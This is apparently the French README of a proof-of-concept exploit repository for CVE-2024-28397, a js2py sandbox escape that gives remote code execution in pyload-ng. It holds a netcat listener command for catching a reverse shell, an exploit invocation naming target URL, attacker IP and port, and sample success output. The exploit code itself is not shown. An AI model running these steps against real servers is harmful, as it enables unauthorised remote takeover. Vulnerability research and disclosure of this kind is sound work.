Exécution de code à distance – CVE-2024-28397 (pyload-ng / js2py)

Ce dépôt contient un exploit de preuve de概念 (PoC) pour CVE-2024-28397, une vulnérabilité d'exécution de code à distance affectant pyload-ng en raison d'une utilisation non sécurisée de js2py.

Avertissement:
Ce PoC est uniquement destiné à des fins éducatives et de recherche.
Ne l'utilisez pas sur des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
L'auteur n'est pas responsable de toute utilisation abusive de ce code.

---

Détails de la vulnérabilité

• Identifiant CVE: CVE-2024-28397
• Composant: js2py dans pyload-ng
• Impact: Exécution de code à distance (RCE)
• Vecteur d'attaque: Une charge utile JS malveillante s'échappe du sandbox js2py et exécute des commandes système arbitraires.

---

Prérequis et configuration

Vous aurez besoin de Python 3.x, de la bibliothèque requests et de netcat pour récupérer le reverse shell.

• Cible → Instance pyload-ng vulnérable avec l'endpoint /run_code accessible

Écouteur → À démarrer avant de lancer l'exploit:

nc -lvnp 4444

Utilisation:

python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123

Exemple de sortie:

• [+] Register successful!
• [+] Login successful
• [+] exploit worked